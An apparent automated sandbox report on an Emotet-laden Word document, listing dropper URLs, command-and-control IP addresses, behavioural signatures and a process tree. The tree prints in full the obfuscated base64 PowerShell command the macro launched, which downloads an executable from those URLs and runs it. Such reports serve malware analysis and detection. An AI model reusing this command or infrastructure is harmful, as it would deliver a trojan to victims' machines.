Analysis

  • max time kernel
    138s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    25/09/2020, 19:06

General

  • Target
    mes_20200925_5530759.doc
  • Size 143KB
  • Sample200925-e7jbxp5n86
  • SHA256 4cef0ca9a01702013c2eb2cd95b045e367911963ab0556c82bb908034f147a61
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://playschoolmatritva.com/cgi-bin/Cqw/

  • exe.dropper

    http://must-in.com/wp-admin/0/

  • exe.dropper

    https://online24h.biz/wp-admin/t/

  • exe.dropper

    https://cimsjr.com/hospital/Fh4/

  • exe.dropper

    https://ajstudiollc.com/cgi-bin/MiL/

  • exe.dropper

    http://paulscomputing.com/CraigsMagicSquare/gQ1/

  • exe.dropper

    https://heartssetfree.org/9c950e/FnH/

Extracted

Family
  • emotet

C2
  • 12.163.208.58:80

  • 45.33.35.74:8080

  • 87.106.253.248:8080

  • 192.241.146.84:8080

  • 190.115.18.139:8080

  • 65.36.62.20:80

  • 170.81.48.2:80

  • 83.169.21.32:7080

  • 185.232.182.218:80

  • 190.2.31.172:80

  • 77.106.157.34:8080

  • 82.230.1.24:80

  • 202.4.58.197:80

  • 201.213.177.139:80

  • 78.249.119.122:80

  • 123.51.47.18:80

  • 77.90.136.129:8080

  • 60.93.23.51:80

  • 152.169.22.67:80

  • 190.117.79.209:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\mes_20200925_5530759.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:424
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABJADUAaQB1ADgAdgA1AD0AKAAnAEwAJwArACgAJwA2AHEAOQBmACcAKwAnAGwAcwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBzAEUAcgBwAFIAbwBGAGkAbABlAFwAZwB5AHIAbgA2AFUARABcAGYAOQBQAGgAdwB5ADkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAdQByAGAASQB0AHkAUABgAFIATwBUAE8AYwBvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIALAAgACcAKwAnAHQAJwApACsAKAAnAGwAJwArACcAcwAxACcAKQArACgAJwAxACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQASABxADMAOABiAGEAcQAgAD0AIAAoACgAJwBXAHAAJwArACcAbQAnACkAKwAoACcAegBhACcAKwAnADgAcwBuAHcAJwApACkAOwAkAFgAegAwADQAegB3AHQAPQAoACgAJwBQACcAKwAnAGkAMwAnACkAKwAoACcAOAA0ACcAKwAnAHkAJwApACsAJwA1ACcAKQA7ACQAWAB6AGsAZQB4AG8AYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBHAHkAcgAnACsAJwBuADYAdQBkAHsAMAAnACsAJwB9AEYAOQBwAGgAdwB5ADkAJwArACcAewAwAH0AJwApACAALQBmAFsAQwBoAGEAcgBdADkAMgApACsAJABIAHEAMwA4AGIAYQBxACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAWQBfAGQAZgA2ADcAcQA9ACgAKAAnAEkAJwArACcAaABtAGoAMQAnACkAKwAnAG8AbQAnACkAOwAkAEYAdgBmAGYAagBnAHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBMAGkAZQBOAHQAOwAkAFAAcQBmADEAbwA4AGkAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAcABsAGEAeQBzAGMAJwArACcAaAAnACsAJwBvAG8AbABtACcAKQArACgAJwBhACcAKwAnAHQAcgBpACcAKwAnAHQAdgBhAC4AYwAnACkAKwAoACcAbwBtAC8AYwBnACcAKwAnAGkALQBiAGkAJwArACcAbgAvACcAKwAnAEMAJwArACcAcQB3AC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwBtACcAKwAnAHUAcwB0AC0AaQBuAC4AYwBvACcAKQArACcAbQAvACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwAwACcAKwAnAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvAC8AbwBuACcAKwAnAGwAJwApACsAJwBpACcAKwAoACcAbgBlADIANAAnACsAJwBoACcAKwAnAC4AYgBpAHoALwB3AHAALQBhACcAKwAnAGQAJwApACsAKAAnAG0AaQBuACcAKwAnAC8AdAAnACkAKwAoACcALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAoACcAYwBpACcAKwAnAG0AcwBqAHIALgBjACcAKQArACcAbwBtACcAKwAoACcALwBoACcAKwAnAG8AJwApACsAKAAnAHMAcAAnACsAJwBpAHQAJwArACcAYQBsAC8ARgBoADQALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AYQBqAHMAJwApACsAKAAnAHQAdQBkAGkAbwBsACcAKwAnAGwAYwAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAoACcALwBjACcAKwAnAGcAaQAtAGIAaQBuACcAKwAnAC8AJwArACcATQAnACkAKwAnAGkATAAnACsAKAAnAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwAnACsAJwBwAGEAdQBsACcAKQArACgAJwBzAGMAbwBtAHAAdQB0ACcAKwAnAGkAbgBnAC4AYwAnACsAJwBvAG0ALwBDACcAKwAnAHIAYQAnACkAKwAoACcAaQAnACsAJwBnAHMATQBhAGcAJwApACsAJwBpACcAKwAoACcAYwBTAHEAJwArACcAdQBhACcAKQArACcAcgBlACcAKwAnAC8AJwArACgAJwBnAFEAMQAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAcwA6ACcAKwAnAC8ALwAnACsAJwBoAGUAYQByAHQAJwArACcAcwBzAGUAJwArACcAdAAnACkAKwAoACcAZgByAGUAZQAnACsAJwAuACcAKQArACcAbwByACcAKwAoACcAZwAvADkAJwArACcAYwAnACkAKwAoACcAOQA1ADAAZQAnACsAJwAvACcAKQArACcARgAnACsAKAAnAG4ASAAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAdwB5AGYAagB4AGcAPQAoACgAJwBMAGQAJwArACcAMQBrACcAKQArACgAJwBlAF8AJwArACcAeAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAbABlAHYAbgByAGsAIABpAG4AIAAkAFAAcQBmADEAbwA4AGkAKQB7AHQAcgB5AHsAJABGAHYAZgBmAGoAZwB6AC4AIgBEAG8AdwBgAE4ATABPAEEAYABkAGYAaQBMAGUAIgAoACQAWABsAGUAdgBuAHIAawAsACAAJABYAHoAawBlAHgAbwBhACkAOwAkAFcAMwBfAHMAagByAHEAPQAoACgAJwBHAHEAcgAnACsAJwBzAGoAJwApACsAJwBrAG0AJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFgAegBrAGUAeABvAGEAKQAuACIATABFAG4AYABHAHQAaAAiACAALQBnAGUAIAAyADQAMQAxADkAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQAWAB6AGsAZQB4AG8AYQApADsAJABYADAAaABhAHoAYQBrAD0AKAAnAEcAMQAnACsAKAAnADMAZwBmAHAAJwArACcAbgAnACkAKQA7AGIAcgBlAGEAawA7ACQAUgBuADkAcAA1AHcAcgA9ACgAJwBRACcAKwAoACcANwAnACsAJwA1AGcAJwApACsAKAAnAHoAdgAnACsAJwBmACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABOAG8AaABhAHEAeABoAD0AKAAoACcAUwAnACsAJwB6AGEAJwApACsAJwAzAHoAJwArACcANgBlACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2704
    • C:\Users\Admin\Gyrn6ud\F9phwy9\Wpmza8snw.exe
      "C:\Users\Admin\Gyrn6ud\F9phwy9\Wpmza8snw.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2156
      • C:\Windows\SysWOW64\MosHostClient\cabinet.exe
        "C:\Windows\SysWOW64\MosHostClient\cabinet.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1820

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/424-0-0x00007FFE30550000-0x00007FFE30C16000-memory.dmp

        memory/1820-16-0x00000000004F0000-0x0000000000502000-memory.dmp

        memory/1820-17-0x00000000004D0000-0x00000000004E0000-memory.dmp

        memory/2156-12-0x00000000005E0000-0x00000000005F2000-memory.dmp

        memory/2156-13-0x0000000000600000-0x0000000000610000-memory.dmp

        memory/2704-8-0x000002564C440000-0x000002564C441000-memory.dmp

        memory/2704-7-0x000002564C220000-0x000002564C221000-memory.dmp

        memory/2704-6-0x00007FFE29470000-0x00007FFE29E5C000-memory.dmp